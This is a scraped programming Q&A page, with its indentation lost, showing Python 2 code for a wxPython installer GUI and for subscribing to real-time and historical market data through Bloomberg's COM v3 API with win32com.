for item in testPreReq:
if item == False:
dlg = wx.MessageBox('You have one or more errors and cannot continue',
'Error')
else:
#frame.btBeginInstall.Enable()
frame.btValidateInfraSystem.Enable()
frame.btValidateIwpcSystem.Enable()
frame.btValidateIwpcSystem.Enable()
frame.btValidateIwpcIwpcdba.Enable()
frame.btValidateLdapOc4jadmin.Enable()
frame.btValidateLdapOrcladmin.Enable()
frame.btValidateIas_admin.Enable()
frame.btValidateiwpcadmin.Enable()
frame.btValidateAll.Enable()
app.MainLoop()
I don't have time to read your lengthy code sample, but I wonder if it is the infamous msvcr90.dll issue. I got good feedback on this from the py2exe list here and here.
I rebuilt the code using wxGlade (original was done using boaConstructor) and for some reason, It works. I don't know why or how, but it does. I can provide the new code upon request if somebody is interested.
Does anyone know how to get asynchronous data through Bloomberg's new data API (COM v3) with Python? I found this code below on wilmott.com and it works just fine, but it's for the old API version.
Does anyone know the corresponding code for the new version?
from win32com.client import DispatchWithEvents
from pythoncom import PumpWaitingMessages, Empty, Missing
from time import time
class BBCommEvent:
def OnData(self, Security, cookie, Fields, Data, Status):
print 'OnData: ' + `Data`
def OnStatus(self, Status, SubStatus, StatusDescription):
print 'OnStatus'
class TestAsync:
def __init__(self):
clsid = '{F2303261-4969-11D1-B305-00805F815CBF}'
progid = 'Bloomberg.Data.1'
print 'connecting to BBComm'
blp = DispatchWithEvents(clsid, BBCommEvent)
blp.AutoRelease = False
blp.Subscribe('EUR Curncy', 1, 'LAST_PRICE', Results = Empty)
blp.Flush()
end_time = time() + 5
while 1:
PumpWaitingMessages()
if end_time < time():
print 'timed out'
break
if __name__ == "__main__":
ta = TestAsync()
I finally figured it out. I did a fair bit of combrowse.py detective work, and I compared with the JAVA, C, C++, and .NET examples in the BBG API download. Interestingly enough the Bloomberg Helpdesk people knew pretty much null when it came to these things, or perhaps I was just talking to the wrong person.
Here is my code.
asynchronousHandler.py:
import win32com.client
from pythoncom import PumpWaitingMessages
from time import time, strftime
import constants
class EventHandler:
def OnProcessEvent(self, result):
event = win32com.client.gencache.EnsureDispatch(result)
if event.EventType == constants.SUBSCRIPTION_DATA:
self.getData(event)
elif event.EventType == constants.SUBSCRIPTION_STATUS:
self.getStatus(event)
else:
self.getMisc(event)
def getData(self, event):
iterator = event.CreateMessageIterator()
while iterator.Next():
message = iterator.Message
dataString = ''
for fieldIndex, field in enumerate(constants.fields):
if message.AsElement.HasElement(field):
element = message.GetElement(field)
if element.IsNull:
theValue = ''
else:
theValue = ', Value: ' + str(element.Value)
dataString = dataString + ', (Type: ' + element.Name + theValue + ')'
print strftime('%m/%d/%y %H:%M:%S') + ', MessageType: ' + message.MessageTypeAsString + ', CorrelationId: ' + str(message.CorrelationId) + dataString
def getMisc(self, event):
iterator = event.CreateMessageIterator()
while iterator.Next():
message = iterator.Message
print strftime('%m/%d/%y %H:%M:%S') + ', MessageType: ' + message.MessageTypeAsString
def getStatus(self, event):
iterator = event.CreateMessageIterator()
while iterator.Next():
message = iterator.Message
if message.AsElement.HasElement('reason'):
element = message.AsElement.GetElement('reason')
print strftime('%m/%d/%y %H:%M:%S') + ', MessageType: ' + message.MessageTypeAsString + ', CorrelationId: ' + str(message.CorrelationId) + ', Category: ' + element.GetElement('category').Value + ', Description: ' + element.GetElement('description').Value
if message.AsElement.HasElement('exceptions'):
element = message.AsElement.GetElement('exceptions')
exceptionString = ''
for n in range(element.NumValues):
exceptionInfo = element.GetValue(n)
fieldId = exceptionInfo.GetElement('fieldId')
reason = exceptionInfo.GetElement('reason')
exceptionString = exceptionString + ', (Field: ' + fieldId.Value + ', Category: ' + reason.GetElement('category').Value + ', Description: ' + reason.GetElement('description').Value + ') '
print strftime('%m/%d/%y %H:%M:%S') + ', MessageType: ' + message.MessageTypeAsString + ', CorrelationId: ' + str(message.CorrelationId) + exceptionString
class bloombergSource:
def __init__(self):
session = win32com.client.DispatchWithEvents('blpapicom.Session' , EventHandler)
session.Start()
started = session.OpenService('//blp/mktdata')
subscriptions = session.CreateSubscriptionList()
for tickerIndex, ticker in enumerate(constants.tickers):
if len(constants.interval) > 0:
subscriptions.AddEx(ticker, constants.fields, constants.interval, session.CreateCorrelationId(tickerIndex))
else:
subscriptions.Add(ticker, constants.fields, session.CreateCorrelationId(tickerIndex))
session.Subscribe(subscriptions)
endTime = time() + 2
while True:
PumpWaitingMessages()
if endTime < time():
break
if __name__ == "__main__":
aBloombergSource = bloombergSource()
constants.py:
ADMIN = 1
AUTHORIZATION_STATUS = 11
BLPSERVICE_STATUS = 9
PARTIAL_RESPONSE = 6
PUBLISHING_DATA = 13
REQUEST_STATUS = 4
RESOLUTION_STATUS = 12
RESPONSE = 5
SESSION_STATUS = 2
SUBSCRIPTION_DATA = 8
SUBSCRIPTION_STATUS = 3
TIMEOUT = 10
TOKEN_STATUS = 15
TOPIC_STATUS = 14
UNKNOWN = -1
fields = ['BID']
tickers = ['AUD Curncy']
interval = '' #'interval=5.0'
For historical data I used this simple script:
import win32com.client
session = win32com.client.Dispatch('blpapicom.Session')
session.QueueEvents = True
session.Start()
started = session.OpenService('//blp/refdata')
dataService = session.GetService('//blp/refdata')
request = dataService.CreateRequest('HistoricalDataRequest')
request.GetElement('securities').AppendValue('5 HK Equity')
request.GetElement('fields').AppendValue('PX_LAST')
request.Set('periodicitySelection', 'DAILY')
request.Set('startDate', '20090119')
request.Set('endDate', '20090130')
cid = session.SendRequest(request)
ADMIN = 1
AUTHORIZATION_STATUS = 11
BLPSERVICE_STATUS = 9
PARTIAL_RESPONSE = 6
PUBLISHING_DATA = 13
REQUEST_STATUS = 4
RESOLUTION_STATUS = 12
RESPONSE = 5
SESSION_STATUS = 2
SUBSCRIPTION_DATA = 8
SUBSCRIPTION_STATUS = 3
TIMEOUT = 10
TOKEN_STATUS = 15
TOPIC_STATUS = 14
UNKNOWN = -1
stayHere = True
while stayHere:
event = session.NextEvent();
if event.EventType == PARTIAL_RESPONSE or event.EventType == RESPONSE:
iterator = event.CreateMessageIterator()
iterator.Next()
message = iterator.Message
securityData = message.GetElement('securityData')
securityName = securityData.GetElement('security')
fieldData = securityData.GetElement('fieldData')
returnList = [[0 for col in range(fieldData.GetValue(row).NumValues+1)] for row in range(fieldData.NumValues)]
for row in range(fieldData.NumValues):
rowField = fieldData.GetValue(row)
for col in range(rowField.NumValues+1):
colField = rowField.GetElement(col)
returnList[row][col] = colField.Value
stayHere = False
break
element = None
iterator = None
message = None
event = None
session = None
print returnList
For it to work you need to install Bloomberg Desktop v3 API SDK, I did that, restarted my machine, seems to work. Without the restart it just crashed.
If you use Com explorer, you will see the bloomberg elements are now present